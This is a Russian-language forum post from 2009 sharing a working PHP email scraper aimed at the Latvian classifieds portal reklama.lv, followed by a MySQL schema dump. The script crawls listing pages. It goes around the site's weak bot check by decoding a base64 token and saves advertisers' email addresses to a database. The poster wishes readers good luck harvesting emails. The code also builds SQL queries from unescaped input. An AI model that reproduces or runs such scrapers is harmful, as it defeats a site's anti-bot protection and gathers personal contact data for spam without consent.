Грабер крупного портало обьявлений в Латвии

Discussion in 'PHP' started by DTW, 17 Jul 2009.

  1. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Там на нем есть мыла как и латышских почтов серверов так и гмайл и яхо и рус ..

    Есть проблема где слишком большие разделы обьявлений..

    спс порталу что капча не надежная.

    Удачи насканить майлов !

    пхп нач кричать что нет памяти ...

    сам код

    PHP:
    <?php
    /* Email graber                                                  
     * Beta version from easy user                                           
     * Curl(lib) must be!  
     * in php.ini extension=php_curl.dll !!!
     * Work in reklama.lv
     * 50% for work  PHP windows not long memory           
    **/
      


      
    function connection()
    {
    $server='localhost';
    $user='';
    $password='';
    $database='graber';

    $connect mysql_connect($server,$user,$password) ;
     if(!
    $connect)
     {
      echo 
    mysql_error($connect);
     }
     if(!
    mysql_select_db($database,$connect))
     {
        echo 
    mysql_error($connect);  
     }
       return 
    $connect;
       
     }
       
    // проверка номера   
    function cheak($str,$table,$rows)
    {   

      
    connection(); 
      
    $q ="select * from ".$table."  where  ".$rows."='".$str."' ";
     
    $rezult =  mysql_query($q);
       if(!
    $rezult) echo mysql_error();
     if(
    mysql_num_rows($rezult) > 0)  {
     return 
    false;
     
     }
     else {
        return 
    true;
     } 
    }
    // втавка эмайла 
    function insMail($mail)
    {
        
    connection();
    $q="insert into  email(mail,date) values('$mail',NOW())";
    $rezult mysql_query($q);
        if(!
    $rezult) echo mysql_error(); 
        
    }
        
     
    // вставка линка
     
    function  links($id)
     {
         
    connection();
         
         
    $q="insert into url(link) values('$id')";
       
    $rezult mysql_query($q);
         if(!
    $rezult) echo mysql_error();
     } 
          
    //временые линки
    function  savetmp($page)
     {
         
    connection();
         
         
    $q="insert into pages(page) values('$page')";
       
    $rezult mysql_query($q);
         if(!
    $rezult) echo mysql_error();
     } 
     
     
         
    //удаление временных линков

      
       
    function  clearpages($table)
      {
      
    connection();
       
    $q="delete from ".$table." ";    
       
    $rezult mysql_query($q);
       if(!
    $rezult) echo mysql_error(); 
      }
      
      function 
    decod($parm)
     {
      
    $str2 =  rawurldecode($parm);
      
    $code =  base64_decode($str2);

     return 
    $code=str_replace(" ","",$code);
     }

       
      function 
    findString($http,$path,$page)
      {
        
      
    $curl curl_init($http.$path.$page);
     
    // Параметры соединения
     
    curl_setopt($curlCURLOPT_RETURNTRANSFER,1);
     
    curl_setopt($curlCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2'); 
     
    // Получаем соедржимое страницы
     
    $id2 curl_exec($curl);
     
    curl_close($curl); 
     return 
    $id2;  
      }
     
     


    //поиск эмайла
    function searchmail($http,$path,$page)
    {
    $id2 findString($http,$path,$page);
    $pat4='#([0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6})#';
    preg_match($pat4,$id2,$poc4) ;
    //print_r($poc4);
     
    if(cheak($poc4[1],'email','mail')) {
       
    insMail($poc4[1]);
        echo 
    $poc4[1]."\r\n";
     }

    }
    // поиск проч
     
    function FindEncod($http,$path,$page,$num)
     {
         
     
    $id2 findString($http,$path,$page);
     
     
    //ищем ссылки на обьявления
     
    $pat2 '#\"(.{32})\",#im';  
     
    preg_match_all($pat2,$id2,$poc2) ;
     
    $pat3='#string=(.*?)&#im';
     
    preg_match($pat3,$id2,$poc3) ;
      
    $refid=$poc2[1][0];

     
    $hash=$poc2[1][1];
     
     
    $code decod($poc3[1]);



     
       
     
    searchmail('http://reklama.lv','/services/','send_email-ajax.php?advid='.$num.'&hash='.$hash.'&refid='.$refid.'&botcheck='.$code);
     }
       
    // выбор ссылков 
      
    function Sellink()
      {
       
    connection();   
       
    $q="SELECT link FROM url order by id desc";    
       
    $rezult mysql_query($q);
       if(!
    $rezult) echo mysql_error();
        
       
       while(
    $rowsmysql_fetch_array($rezult)) {
        
    $str $rows['link'];
        
         list(
    $num,$all) = explode('.',$str);   
         
         
    FindEncod('http://reklama.lv','/services/','send_email-ajax.php?init=true&advid='.$num,$num);
       } 
       
      }
         
    //поиск линков
         
    function Findurl($http,$path,$page,$lv=0)
     {

      
     
    $id2 findString($http,$path,$page);
     
     
    //ищем ссылки на обьявления
     
    $pat2 '#href=\"(\d+\.html)\"#im';  
     
    $total preg_match_all($pat2,$id2,$poc2) ;
     
     
    //echo("<pre>");
     //print_r($poc2[1]);
     // echo("</pre>");
      
      
    for($i=0$i $total-1;  $i++) {
      
      if(
    cheak($poc2[1][$i],'url','link')) {
        
    links($poc2[1][$i]);
      }
       
     }
        
    //ищем ссылки др страницы    
       
    $pats3='#href=\"(table\d+\.html)\"#im';       
      
    $tot preg_match_all($pats3$id2,$pock);
      
      
    // echo("<pre>");
      //  print_r($pock[1]);
      // echo("</pre>"); 
          
           
         
    for($i=0$i $tot ;  $i++)
         {
            if(!
    cheak($pock[1][$i],'pages','page')) { 
                continue;
            }
            else    {
                
    savetmp($pock[1][$i]);
     
    Findurl($http,$path,$pock[1][$i]);
            }
              
      
            
         }     
    }

    //sample  'http://reklama.lv/ru','/data/job_and_studies/','jobs_offered/table.html'
    //sample 'http://reklama.lv','/ru/data/job_and_studies/jobs_wanted/','table.html'
      
    echo "Start grab Link\r\n"
    Findurl('http://reklama.lv','/ru/data/job_and_studies/jobs_wanted/','table.html');
    echo 
    "Delete all pages\r\n";  
     
    clearpages('pages');
    echo 
    "Go Seach mail\r\n";
      
    Sellink(); 
    clearpages('url');


    echo 
    "\r\nFinish"
     
     
    ?>
    бэкап
    Code:
    -- phpMyAdmin SQL Dump
    -- version 2.11.6-dev
    -- http://www.phpmyadmin.net
    --
    -- Хост: localhost
    -- Время создания: Июл 17 2009 г., 02:57
    -- Версия сервера: 4.1.16
    -- Версия PHP: 5.2.9-2
    
    SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
    
    
    /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
    /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
    /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
    /*!40101 SET NAMES utf8 */;
    
    --
    -- База данных: `az`
    --
    
    -- --------------------------------------------------------
    
    --
    -- Структура таблицы `email`
    --
    
    CREATE TABLE IF NOT EXISTS `email` (
      `id_m` int(11) NOT NULL auto_increment,
      `mail` varchar(255) NOT NULL default '',
      `date` datetime NOT NULL default '0000-00-00 00:00:00',
      PRIMARY KEY  (`id_m`)
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=429 ;
    
    --
    -- Дамп данных таблицы `email`
    --
    
    
    -- --------------------------------------------------------
    
    --
    -- Структура таблицы `pages`
    --
    
    CREATE TABLE IF NOT EXISTS `pages` (
      `p_d` int(11) NOT NULL auto_increment,
      `page` varchar(255) NOT NULL default '',
      PRIMARY KEY  (`p_d`)
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=575 ;
    
    --
    -- Дамп данных таблицы `pages`
    --
    
    
    -- --------------------------------------------------------
    
    --
    -- Структура таблицы `url`
    --
    
    CREATE TABLE IF NOT EXISTS `url` (
      `id` int(11) NOT NULL auto_increment,
      `link` varchar(255) NOT NULL default '',
      PRIMARY KEY  (`id`)
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1047 ;
    
    --
    -- Дамп данных таблицы `url`
    --